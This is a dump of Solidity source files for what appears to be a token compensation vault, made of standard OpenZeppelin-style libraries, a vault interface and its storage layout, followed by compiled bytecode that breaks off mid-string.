function log(address p0, address p1, bool p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,address,bool,bool)", p0, p1, p2, p3));
}
function log(address p0, address p1, bool p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,address,bool,address)", p0, p1, p2, p3));
}
function log(address p0, address p1, address p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,address,address,uint)", p0, p1, p2, p3));
}
function log(address p0, address p1, address p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,address,address,string)", p0, p1, p2, p3));
}
function log(address p0, address p1, address p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,address,address,bool)", p0, p1, p2, p3));
}
function log(address p0, address p1, address p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,address,address,address)", p0, p1, p2, p3));
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// SPDX-License-Identifier: GPL-3.0-or-later
pragma solidity >=0.6.0;
// helper methods for interacting with ERC20 tokens and sending ETH that do not consistently return true/false
library TransferHelper {
function safeApprove(
address token,
address to,
uint256 value
) internal {
// bytes4(keccak256(bytes('approve(address,uint256)')));
(bool success, bytes memory data) = token.call(abi.encodeWithSelector(0x095ea7b3, to, value));
require(
success && (data.length == 0 || abi.decode(data, (bool))),
'TransferHelper::safeApprove: approve failed'
);
}
function safeTransfer(
address token,
address to,
uint256 value
) internal {
// bytes4(keccak256(bytes('transfer(address,uint256)')));
(bool success, bytes memory data) = token.call(abi.encodeWithSelector(0xa9059cbb, to, value));
require(
success && (data.length == 0 || abi.decode(data, (bool))),
'TransferHelper::safeTransfer: transfer failed'
);
}
function safeTransferFrom(
address token,
address from,
address to,
uint256 value
) internal {
// bytes4(keccak256(bytes('transferFrom(address,address,uint256)')));
(bool success, bytes memory data) = token.call(abi.encodeWithSelector(0x23b872dd, from, to, value));
require(
success && (data.length == 0 || abi.decode(data, (bool))),
'TransferHelper::transferFrom: transferFrom failed'
);
}
function safeTransferETH(address to, uint256 value) internal {
(bool success, ) = to.call{value: value}(new bytes(0));
require(success, 'TransferHelper::safeTransferETH: ETH transfer failed');
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "../utils/Context.sol";
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor() {
_setOwner(_msgSender());
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
_setOwner(address(0));
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_setOwner(newOwner);
}
function _setOwner(address newOwner) private {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev Elliptic Curve Digital Signature Algorithm (ECDSA) operations.
*
* These functions can be used to verify that a message was signed by the holder
* of the private keys of a given address.
*/
library ECDSA {
/**
* @dev Returns the address that signed a hashed message (`hash`) with
* `signature`. This address can then be used for verification purposes.
*
* The `ecrecover` EVM opcode allows for malleable (non-unique) signatures:
* this function rejects them by requiring the `s` value to be in the lower
* half order, and the `v` value to be either 27 or 28.
*
* IMPORTANT: `hash` _must_ be the result of a hash operation for the
* verification to be secure: it is possible to craft signatures that
* recover to arbitrary addresses for non-hashed data. A safe way to ensure
* this is by receiving a hash of the original message (which may otherwise
* be too long), and then calling {toEthSignedMessageHash} on it.
*
* Documentation for signature generation:
* - with https://web3js.readthedocs.io/en/v1.3.4/web3-eth-accounts.html#sign[Web3.js]
* - with https://docs.ethers.io/v5/api/signer/#Signer-signMessage[ethers]
*/
function recover(bytes32 hash, bytes memory signature) internal pure returns (address) {
// Check the signature length
// - case 65: r,s,v signature (standard)
// - case 64: r,vs signature (cf https://eips.ethereum.org/EIPS/eip-2098) _Available since v4.1._
if (signature.length == 65) {
bytes32 r;
bytes32 s;
uint8 v;
// ecrecover takes the signature parameters, and the only way to get them
// currently is to use assembly.
assembly {
r := mload(add(signature, 0x20))
s := mload(add(signature, 0x40))
v := byte(0, mload(add(signature, 0x60)))
}
return recover(hash, v, r, s);
} else if (signature.length == 64) {
bytes32 r;
bytes32 vs;
// ecrecover takes the signature parameters, and the only way to get them
// currently is to use assembly.
assembly {
r := mload(add(signature, 0x20))
vs := mload(add(signature, 0x40))
}
return recover(hash, r, vs);
} else {
revert("ECDSA: invalid signature length");
}
}
/**
* @dev Overload of {ECDSA-recover} that receives the `r` and `vs` short-signature fields separately.
*
* See https://eips.ethereum.org/EIPS/eip-2098[EIP-2098 short signatures]
*
* _Available since v4.2._
*/
function recover(
bytes32 hash,
bytes32 r,
bytes32 vs
) internal pure returns (address) {
bytes32 s;
uint8 v;
assembly {
s := and(vs, 0x7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff)
v := add(shr(255, vs), 27)
}
return recover(hash, v, r, s);
}
/**
* @dev Overload of {ECDSA-recover} that receives the `v`, `r` and `s` signature fields separately.
*/
function recover(
bytes32 hash,
uint8 v,
bytes32 r,
bytes32 s
) internal pure returns (address) {
// EIP-2 still allows signature malleability for ecrecover(). Remove this possibility and make the signature
// unique. Appendix F in the Ethereum Yellow paper (https://ethereum.github.io/yellowpaper/paper.pdf), defines
// the valid range for s in (281): 0 < s < secp256k1n ÷ 2 + 1, and for v in (282): v ∈ {27, 28}. Most
// signatures from current libraries generate a unique signature with an s-value in the lower half order.
//
// If your library generates malleable signatures, such as s-values in the upper range, calculate a new s-value
// with 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEBAAEDCE6AF48A03BBFD25E8CD0364141 - s1 and flip v from 27 to 28 or
// vice versa. If your library also generates signatures with 0/1 for v instead 27/28, add 27 to v to accept
// these malleable signatures as well.
require(
uint256(s) <= 0x7FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF5D576E7357A4501DDFE92F46681B20A0,
"ECDSA: invalid signature 's' value"
);
require(v == 27 || v == 28, "ECDSA: invalid signature 'v' value");
// If the signature is valid (and not malleable), return the signer address
address signer = ecrecover(hash, v, r, s);
require(signer != address(0), "ECDSA: invalid signature");
return signer;
}
/**
* @dev Returns an Ethereum Signed Message, created from a `hash`. This
* produces hash corresponding to the one signed with the
* https://eth.wiki/json-rpc/API#eth_sign[`eth_sign`]
* JSON-RPC method as part of EIP-191.
*
* See {recover}.
*/
function toEthSignedMessageHash(bytes32 hash) internal pure returns (bytes32) {
// 32 is the length in bytes of hash,
// enforced by the type signature above
return keccak256(abi.encodePacked("\x19Ethereum Signed Message:\n32", hash));
}
/**
* @dev Returns an Ethereum Signed Typed Data, created from a
* `domainSeparator` and a `structHash`. This produces hash corresponding
* to the one signed with the
* https://eips.ethereum.org/EIPS/eip-712[`eth_signTypedData`]
* JSON-RPC method as part of EIP-712.
*
* See {recover}.
*/
function toTypedDataHash(bytes32 domainSeparator, bytes32 structHash) internal pure returns (bytes32) {
return keccak256(abi.encodePacked("\x19\x01", domainSeparator, structHash));
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
// CAUTION
// This version of SafeMath should only be used with Solidity 0.8 or later,
// because it relies on the compiler's built in overflow checks.
/**
* @dev Wrappers over Solidity's arithmetic operations.
*
* NOTE: `SafeMath` is no longer needed starting with Solidity 0.8. The compiler
* now has built in overflow checking.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
uint256 c = a + b;
if (c < a) return (false, 0);
return (true, c);
}
}
/**
* @dev Returns the substraction of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b > a) return (false, 0);
return (true, a - b);
}
}
/**
* @dev Returns the multiplication of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) return (true, 0);
uint256 c = a * b;
if (c / a != b) return (false, 0);
return (true, c);
}
}
/**
* @dev Returns the division of two unsigned integers, with a division by zero flag.
*
* _Available since v3.4._
*/
function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b == 0) return (false, 0);
return (true, a / b);
}
}
/**
* @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag.
*
* _Available since v3.4._
*/
function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b == 0) return (false, 0);
return (true, a % b);
}
}
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
return a + b;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return a - b;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
return a * b;
}
/**
* @dev Returns the integer division of two unsigned integers, reverting on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator.
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* reverting when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return a % b;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {trySub}.
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
unchecked {
require(b <= a, errorMessage);
return a - b;
}
}
/**
* @dev Returns the integer division of two unsigned integers, reverting with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
unchecked {
require(b > 0, errorMessage);
return a / b;
}
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* reverting with custom message when dividing by zero.
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {tryMod}.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
unchecked {
require(b > 0, errorMessage);
return a % b;
}
}
}
// SPDX-License-Identifier: GPL-3.0-or-later
pragma solidity ^0.8.0;
interface ICompensationVault {
struct CompensationParams {
uint256 deadline;
uint256 nonce;
address vault; // address of CompensationVault contract
uint256 quote; // quote from changer
uint256 targetQuote; // quote from other aggregator
uint256 compensationAmount; // amount of compensation token
address maker; // transaction maker
address signer; // parameter signer address
bool transferCompensation; // if true, transfer compensation. otherwise, accumulate
bytes signature; // parameter signature
}
function remainingCompensation() external view returns (uint256);
function getDailyLimit() external view returns (uint256);
/**
* @dev get current compensation of account
*/
function getCompensation(address account) external view returns (uint256);
/**
* @dev claim compensation tokens
*/
function claimCompensation() external returns (uint256);
/**
* @dev add compensation token
*/
function addCompensation(uint256 amount1Out, CompensationParams calldata compensationParams) external;
/**
* @dev calculate compensation amount wrt limits
*/
function calcCompensationAmount(uint256 compensationAmount) external view returns (uint256);
function setSigner(address account, bool value) external;
function setRouter(address account, bool value) external;
function rescueTokens(address _token, uint256 _value) external;
function pause() external;
function unpause() external;
}
// SPDX-License-Identifier: GPL-3.0-or-later
pragma solidity ^0.8.0;
import { ICompensationVault } from "./ICompensationVault.sol";
import { StorageSlotOwnable } from "../lib/StorageSlotOwnable.sol";
contract CompensationVaultStorage is StorageSlotOwnable {
// V1 storage layout start
address public token; // compensation token
bool public paused;
bool internal _initialized0; // initialize flags
bool internal _initialized1;
bool internal _initialized2;
bool internal _initialized3;
bool internal _initialized4;
bool internal _initialized5;
bool internal _initialized6;
bool internal _initialized7;
bool internal _initialized8;
bool internal _initialized9;
bool internal _initialized10;
bool internal _initialized11;
bool internal _initialized12;
bool internal _initialized13;
bool internal _initialized14;
bool internal _initialized15;
uint256 private _buf0; // buffer slot to split flags and numbers
uint128 public totalCompensation; // amount of compensation that vault will pay (reset to 0 when vault reset)
uint128 public debt; // amount of compensation that vault have to transfer (reset to 0 when vault reset)
uint128 public pastDebt; // amount of compensation that vault have to transfer (remain when vault reset)
uint64 public START_TIME; // time when the compensation program start
uint64 public MAX_RUNNING_DAYS; // running period in days.
uint128 public TOTAL_ALLOCATED; // total allocated reward token amount.
uint128 public LIMIT_PER_TX; // compensation limit per transaction.
uint128 public LIMIT_PER_DAY; // The remaining compensation limit for a day will be carried over as compensation limit the next day.
mapping(uint256 => bool) public nonces;
mapping(address => bool) public isSigner;
mapping(address => bool) public isRouter;
mapping(address => uint256) public compensations;
// V1 storage layout end
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "@openzeppelin/contracts/utils/Context.sol";
import "@openzeppelin/contracts/utils/StorageSlot.sol";
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract StorageSlotOwnable is Context {
bytes32 private constant _OWNER_SLOT = bytes32(uint256(keccak256("StorageSlotOwnable.owner")) - 1);
/**
* @dev Returns the current owner.
*/
function _getOwner() internal view returns (address) {
return StorageSlot.getAddressSlot(_OWNER_SLOT).value;
}
/**
* @dev Stores a new address in the owner slot.
*/
function _setOwner(address newOwner) internal {
require(newOwner != address(0), "StorageSlotOwnable: new admin is the zero address");
StorageSlot.getAddressSlot(_OWNER_SLOT).value = newOwner;
}
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _getOwner();
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == _msgSender(), "StorageSlotOwnable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_getOwner(), address(0));
_setOwner(address(0));
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "StorageSlotOwnable: new owner is the zero address");
emit OwnershipTransferred(_getOwner(), newOwner);
_setOwner(newOwner);
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev Library for reading and writing primitive types to specific storage slots.
*
* Storage slots are often used to avoid storage conflict when dealing with upgradeable contracts.
* This library helps with reading and writing to such slots without the need for inline assembly.
*
* The functions in this library return Slot structs that contain a `value` member that can be used to read or write.
*
* Example usage to set ERC1967 implementation slot:
* ```
* contract ERC1967 {
* bytes32 internal constant _IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc;
*
* function _getImplementation() internal view returns (address) {
* return StorageSlot.getAddressSlot(_IMPLEMENTATION_SLOT).value;
* }
*
* function _setImplementation(address newImplementation) internal {
* require(Address.isContract(newImplementation), "ERC1967: new implementation is not a contract");
* StorageSlot.getAddressSlot(_IMPLEMENTATION_SLOT).value = newImplementation;
* }
* }
* ```
*
* _Available since v4.1 for `address`, `bool`, `bytes32`, and `uint256`._
*/
library StorageSlot {
struct AddressSlot {
address value;
}
struct BooleanSlot {
bool value;
}
struct Bytes32Slot {
bytes32 value;
}
struct Uint256Slot {
uint256 value;
}
/**
* @dev Returns an `AddressSlot` with member `value` located at `slot`.
*/
function getAddressSlot(bytes32 slot) internal pure returns (AddressSlot storage r) {
assembly {
r.slot := slot
}
}
/**
* @dev Returns an `BooleanSlot` with member `value` located at `slot`.
*/
function getBooleanSlot(bytes32 slot) internal pure returns (BooleanSlot storage r) {
assembly {
r.slot := slot
}
}
/**
* @dev Returns an `Bytes32Slot` with member `value` located at `slot`.
*/
function getBytes32Slot(bytes32 slot) internal pure returns (Bytes32Slot storage r) {
assembly {
r.slot := slot
}
}
/**
* @dev Returns an `Uint256Slot` with member `value` located at `slot`.
*/
function getUint256Slot(bytes32 slot) internal pure returns (Uint256Slot storage r) {
assembly {
r.slot := slot
}
}
} | 0x608060405234801561001057600080fd5b506004361061020b5760003560e01c80637df73e271161012a578063ddaa26ad116100bd578063f2fde38b1161008c578063f3e9bc2811610071578063f3e9bc281461056f578063f60c447d1461058b578063fc0c546a1461059e57600080fd5b8063f2fde38b14610539578063f3d7d2821461054c57600080fd5b8063ddaa26ad146104c6578063e2822f14146104ee578063ed1ae06b1461051e578063f03d9dd51461052657600080fd5b8063a2240e19116100f9578063a2240e1914610490578063a6895b5a146104a3578063adc879e9146104ab578063c3c64674146104b357600080fd5b80637df73e271461042557806380f83190146104485780638456cb591461045b5780638da5cb5b1461046357600080fd5b80633758a778116101a25780635c975abb116101715780635c975abb146103bc5780635cdf96e2146103e15780635d2dfce5146103fd578063715018a61461041d57600080fd5b80633758a7781461037b5780633e1b3ae11461038e5780633f4ba83a146103a157806357376198146103a957600080fd5b8063141a468c116101de578063141a468c1461030f5780631be929fa1461034257806331cb61051461035e578063355883bf1461037357600080fd5b80630b367ecc146102105780630dca59c1146102595780630edabca3146102aa578063118624f2146102f3575b600080fd5b61024661021e366004612c88565b73ffffffffffffffffffffffffffffffffffffffff166000908152600a602052604090205490565b6040519081526020015b60405180910390f35b6003546102899070010000000000000000000000000000000090046fffffffffffffffffffffffffffffffff1681565b6040516fffffffffffffffffffffffffffffffff9091168152602001610250565b6004546102da907801000000000000000000000000000000000000000000000000900467ffffffffffffffff1681565b60405167ffffffffffffffff9091168152602001610250565b600454610289906fffffffffffffffffffffffffffffffff1681565b61033261031d366004612ca3565b60076020526000908152604090205460ff1681565b6040519015158152602001610250565b600554610289906fffffffffffffffffffffffffffffffff1681565b61037161036c366004612cca565b6105be565b005b6102466106fa565b610246610389366004612ca3565b610727565b61024661039c366004612d14565b610776565b610371610884565b6103716103b7366004612d51565b610a05565b6000546103329074010000000000000000000000000000000000000000900460ff1681565b600654610289906fffffffffffffffffffffffffffffffff1681565b61024661040b366004612c88565b600a6020526000908152604090205481565b610371610b69565b610332610433366004612c88565b60086020526000908152604090205460ff1681565b610371610456366004612d7b565b610c6d565b610371610e39565b61046b610fd2565b60405173ffffffffffffffffffffffffffffffffffffffff9091168152602001610250565b61037161049e366004612dd9565b610fdc565b610246611126565b61024661120e565b6103716104c1366004612cca565b611258565b6004546102da90700100000000000000000000000000000000900467ffffffffffffffff1681565b6005546102899070010000000000000000000000000000000090046fffffffffffffffffffffffffffffffff1681565b610246611387565b610371610534366004612dfb565b611392565b610371610547366004612c88565b611720565b61033261055a366004612c88565b60096020526000908152604090205460ff1681565b600354610289906fffffffffffffffffffffffffffffffff1681565b610371610599366004612e36565b6118dc565b60005461046b9073ffffffffffffffffffffffffffffffffffffffff1681565b336105c7610fd2565b73ffffffffffffffffffffffffffffffffffffffff161461066f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152602b60248201527f53746f72616765536c6f744f776e61626c653a2063616c6c6572206973206e6f60448201527f7420746865206f776e657200000000000000000000000000000000000000000060648201526084015b60405180910390fd5b73ffffffffffffffffffffffffffffffffffffffff821660008181526008602090815260409182902080547fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff001685151590811790915591519182527ffc4acb499491cd850a8a21ab98c7f128850c0f0e5f1a875a62b7fa055c2ecf1991015b60405180910390a25050565b600354600554600091610722916fffffffffffffffffffffffffffffffff9081169116611fde565b905090565b600061077061073d836107386106fa565b611ff1565b6005546107389070010000000000000000000000000000000090046fffffffffffffffffffffffffffffffff1681611126565b92915050565b600080823560208401356107906060860160408701612c88565b6060860135608087013560a08801356107af60e08a0160c08b01612c88565b6107c06101008b0160e08c01612c88565b6107d26101208c016101008d01612e7d565b60408051602081019a909a528901979097527fffffffffffffffffffffffffffffffffffffffff000000000000000000000000606096871b8116878a01526074890195909552609488019390935260b4870191909152831b821660d486015290911b1660e8830152151560f81b60fc82015260fd01604080517fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe081840301815291905280516020909101209392505050565b3361088d610fd2565b73ffffffffffffffffffffffffffffffffffffffff1614610930576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152602b60248201527f53746f72616765536c6f744f776e61626c653a2063616c6c6572206973206e6f60448201527f7420746865206f776e65720000000000000000000000000000000000000000006064820152608401610666565b60005474010000000000000000000000000000000000000000900460ff166109b4576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152600e60248201527f6e6f742d7061757365642d7965740000000000000000000000000000000000006044820152606401610666565b600080547fffffffffffffffffffffff00ffffffffffffffffffffffffffffffffffffffff1681556040517fa45f47fdea8a1efdd9029a5691c7f759c32b7c698632b563573e155625d169339190a1565b33610a0e610fd2565b73ffffffffffffffffffffffffffffffffffffffff1614610ab1576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152602b60248201527f53746f72616765536c6f744f776e61626c653a2063616c6c6572206973206e6f60448201527f7420746865206f776e65720000000000000000000000000000000000000000006064820152608401610666565b60005474010000000000000000000000000000000000000000900460ff16610b35576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152600e60248201527f6e6f742d7061757365642d7965740000000000000000000000000000000000006044820152606401610666565b73ffffffffffffffffffffffffffffffffffffffff8216610b5e57610b5a3382612006565b5050565b610b5a823383612115565b33610b72610fd2565b73ffffffffffffffffffffffffffffffffffffffff1614610c15576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152602b60248201527f53746f72616765536c6f744f776e61626c653a2063616c6c6572206973206e6f60448201527f7420746865206f776e65720000000000000000000000000000000000000000006064820152608401610666565b6000610c1f6122ab565b73ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3610c6b60006122fa565b565b6000547501000000000000000000000000000000000000000000900460ff1615610cf3576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152600260248201527f49450000000000000000000000000000000000000000000000000000000000006044820152606401610666565b600080547fffffffffffffffffffffffff00000000000000000000000000000000000000001673ffffffffffffffffffffffffffffffffffffffff8816179055610d3c876122fa565b6004805467ffffffffffffffff95861678010000000000000000000000000000000000000000000000000277ffffffffffffffffffffffffffffffffffffffffffffffff96909716700100000000000000000000000000000000908102969096166fffffffffffffffffffffffffffffffff918216179690961790559084169092029083161760055560068054919092167fffffffffffffffffffffffffffffffff00000000000000000000000000000000919091161790555050600080547fffffffffffffffffffff00ffffffffffffffffffffffffffffffffffffffffff167501000000000000000000000000000000000000000000179055565b33610e42610fd2565b73ffffffffffffffffffffffffffffffffffffffff1614610ee5576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152602b60248201527f53746f72616765536c6f744f776e61626c653a2063616c6c6572206973206e6f60448201527f7420746865206f776e65720000000000000000000000000000000000000000006064820152608401610666565b60005474010000000000000000000000000000000000000000900460ff1615610f6a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152600c60248201527f7374696c6c2d70617573656400000000000000000000000000000000000000006044820152606401610666565b600080547fffffffffffffffffffffff00ffffffffffffffffffffffffffffffffffffffff16740100000000000000000000000000000000000000001781556040517f9e87fac88ff661f02d44f95383c817fece4bce600a3dab7a54406878b965e7529190a1565b60006107226122ab565b33610fe5610fd2565b73ffffffffffffffffffffffffffffffffffffffff1614611088576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152602b60248201527f53746f72616765536c6f744f776e61626c653a2063616c6c6572206973206e6f60448201527f7420746865206f776e65720000000000000000000000000000000000000000006064820152608401610666565b600580546fffffffffffffffffffffffffffffffff9081167001000000000000000000000000000000008583160217909155600680547fffffffffffffffffffffffffffffffff000000000000000000000000000000001691831691909117905560408051838152602081018390527f4d4981437d0211f9e6843eb024d9ada1fa3a99514d4343d4aece106dd11524bb910160405180910390a15050565b60045460055460065460009267ffffffffffffffff7001000000000000000000000000000000008204811693780100000000000000000000000000000000000000000000000090920416916fffffffffffffffffffffffffffffffff91821691164284111561119a57600094505050505090565b6000620151806111aa8642612ec9565b6111b49190612ee0565b6111bf906001612f1b565b90506000848210156111da576111d58284612f33565b6111dc565b835b6003549091506000906112029083906fffffffffffffffffffffffffffffffff16611fde565b98975050505050505050565b6000804690506112536040518060400160405280601281526020017f736f6c69646974793a205f636861696e4944000000000000000000000000000081525082612412565b919050565b33611261610fd2565b73ffffffffffffffffffffffffffffffffffffffff1614611304576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152602b60248201527f53746f72616765536c6f744f776e61626c653a2063616c6c6572206973206e6f60448201527f7420746865206f776e65720000000000000000000000000000000000000000006064820152608401610666565b73ffffffffffffffffffffffffffffffffffffffff821660008181526009602090815260409182902080547fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff001685151590811790915591519182527f8443a265af33599abe6c9ed0c3cabd8e2a6c5b8ea35c1d1ed40c513242f95d4591016106ee565b6000610722336124a3565b3361139b610fd2565b73ffffffffffffffffffffffffffffffffffffffff161461143e5760